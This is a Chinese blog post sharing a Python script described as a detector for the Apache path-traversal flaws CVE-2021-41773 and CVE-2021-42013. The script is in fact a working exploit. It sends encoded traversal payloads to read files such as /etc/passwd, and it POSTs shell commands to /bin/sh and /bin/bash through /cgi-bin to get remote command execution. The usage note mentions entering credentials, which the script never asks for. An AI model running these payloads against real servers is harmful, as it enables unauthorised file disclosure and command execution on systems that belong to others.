CVE-2021-41773、CVE-2021-42013检测脚本

自己在家写的简单的脚本检测，没有多么炫酷，代码的备注都给你们写的好好的，给小女点个赞再走咯。为啥使用urllib不要request模块是因为在写的时候发现request模块会将url进行转码。所以使用比较老的urllib模块。

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
# author： trance
# datetime： 2021/12/2 0002 22:29
# !/usr/bin/env python3
# -*- coding: utf-8 -*-
# author： trance
# datetime： 2021/10/18 0018 21:15
from urllib import request
from urllib.request import ProxyHandler, build_opener
import sys


#检测目录穿越
def directoryTraversalTest(url, headers1, opener):

    for readfile in payloadFile:
        for url1 in ulist:
            for folder in folderlist:
                allurls = url + folder + url1 + readfile
                #对于url进行遍历整合，
                try:
                    req0 = request.Request(allurls, headers=headers1, method='GET')
                    #构造请求头
                    req0 = opener.open(req0)
                    #走代理
                    # req1 = request.urlopen(req0)
                    code = req0.getcode()
                    #拿到响应码
                    if code == 200:
                        print(req0.read())
                        #读取响应内容
                        print(allurls + ' 该url攻击成功，存在目录穿越漏洞')

                except Exception as e:
                    #遇到异常，打印异常情况
                    # print(e)
                    print('请求异常:'+str(e))
                    continue

#检测任意命令执行
def exploitShell(url, mkdir, opener, shellPostDataList, headers1):

    num = int(input('输入0-1选择执行的命令 0：echo;id 1：echo Content-Type: text/plain; echo; id'))
    for url1 in ulist:
        for shell in shellFile:
            fullurl=url + mkdir + url1 + shell
            #对于url进行遍历整合
            print(fullurl)
            try:
                req0 = request.Request(fullurl, headers=headers1,data=shellPostDataList[num].encode())
                #构造请求头，post数据需要编码才能识别
                req0 = opener.open(req0)
                #走代理
                code = req0.getcode()
                #获得响应码
                if code == 200:
                    #打印响应体
                    print(req0.read())
                    print(fullurl + ' 该url攻击成功，存在任意命令执行')
            except Exception as e:
                #print(e)
                print('请求异常:'+str(e))
                # 遇到异常，打印异常情况
                continue




if __name__ == '__main__':
    folderlist = ['/icons', '/cgi-bin', '/assets', '/uploads', '/img', '/image']
    # folderlist = ['/icons']
    # 可选穿越的文件夹列表
    ulist = []
    # cve-2021-41773
    ulist.append("/.%2e/%2e%2e/%2e%2e/%2e%2e")
    ulist.append("/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e")
    # cve-2021-42013

    ulist.append("/.%%32%65/.%%32%65/.%%32%65/.%%32%65")
    ulist.append("/.%%32e/.%%32e/.%%32e/.%%32e")
    ulist.append("/.%2%65/.%2%65/.%2%65/.%2%65")
    ulist.append("/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65")
    #读取的文件部分集合，该文件是我自己尝试可以读取的，可能还有其他文件。
    payloadFile = ["/etc/adduser.conf",
                   "/etc/passwd",
                   "/etc/host.conf",
                   "/etc/group",
                   "/etc/issue",
                   "/etc/mtab",
                   "/etc/shells",
                   "/etc/fstab",
                   "/etc/hostname"]
    #输入的命令，可以写别的
    shellPostDataList = ["echo;id", "echo Content-Type: text/plain; echo; id"]
    shellFile = ["/bin/sh", "/bin/bash", "/bin/rbash", "/bin/dash"]
    #请求头
    headers1 = {
        "User-Agent": "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.116 Safari/537.36",
        'Content-Type': 'application/x-www-form-urlencoded'
    }
    #走的代理
    proxy_handler = ProxyHandler({
        'http': '127.0.0.1:8080',
        'https': '127.0.0.1:8080'
    })
    opener = build_opener(proxy_handler)
    url = sys.argv[1]
    #url = "http://192.168.78.130:8080"我自己用docker搭建的靶场
    #对于检测内容进行分情况处理。
    while True:
        numbers = int(input('输入对于数字 1:检测是否存在目录穿越，2:检测是否存在任意命令执行,3退出检测程序'))
        if numbers == 1:
            directoryTraversalTest(url, headers1, opener)
        elif numbers == 2:

            mkdir = '/cgi-bin'
            exploitShell(url, mkdir, opener, shellPostDataList, headers1)
        elif numbers == 3:
            break
        else:
            print('您输入的有误请重新输入')

#注意:cve-2021-41773,cve-2021-42013 两种的url不一样，命令执行需要在服务端开启了cgi或cgid这两个mod的情况下才可以
#其他目录穿越，需要看apache是否给与权限。

使用方法：

打开cmd 输入命令 不要照抄哦，python+空格+代码路径+空格+检测url 按回车，输入账号和密码，按回车ok了

靶场搭建可以看看：CVE-2021-41773漏洞复现_dreamthe的博客-CSDN博客